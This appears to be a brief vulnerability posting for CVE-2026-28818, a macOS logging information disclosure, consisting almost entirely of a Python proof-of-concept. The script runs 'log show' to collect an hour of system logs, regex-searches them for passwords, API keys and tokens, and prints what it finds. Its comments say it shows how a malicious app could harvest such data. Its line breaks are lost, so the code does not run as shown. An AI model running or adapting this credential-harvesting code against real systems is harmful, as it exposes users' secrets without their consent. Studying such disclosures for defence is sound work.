CVE-2026-28818 macOS敏感信息泄露漏洞

import subprocess import re # PoC for CVE-2026-28818: macOS Logging Information Disclosure # This script demonstrates how a malicious app could search for sensitive data in logs. def check_log_exposure(): print("[*] Checking system logs for unredacted sensitive data...") # Simulate reading system logs (Note: Requires appropriate permissions on macOS) # In a real scenario, an attacker would target specific log streams known to be vulnerable. try: # Using 'log show' command to fetch recent logs cmd = "log show --last 1h --style syslog" result = subprocess.run(cmd, shell=True, capture_output=True, text=True) if result.returncode == 0: logs = result.stdout # Define patterns for sensitive data (e.g., API keys, passwords, tokens) # This is a generic example; actual patterns depend on the vulnerable application. patterns = [ r"password\s*=\s*\S+", r"api_key\s*=\s*\S+", r"token\s*=\s*\S+" ] found = False for pattern in patterns: matches = re.findall(pattern, logs, re.IGNORECASE) if matches: print(f"[!] Potential sensitive data found matching pattern: {pattern}") for match in matches[:2]: # Print first 2 matches print(f" - {match}") found = True if not found: print("[-] No obvious sensitive data found in generic log search.") print("[*] Note: Specific application logs might need to be targeted.") else: print(f"[!] Error executing log command: {result.stderr}") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": check_log_exposure()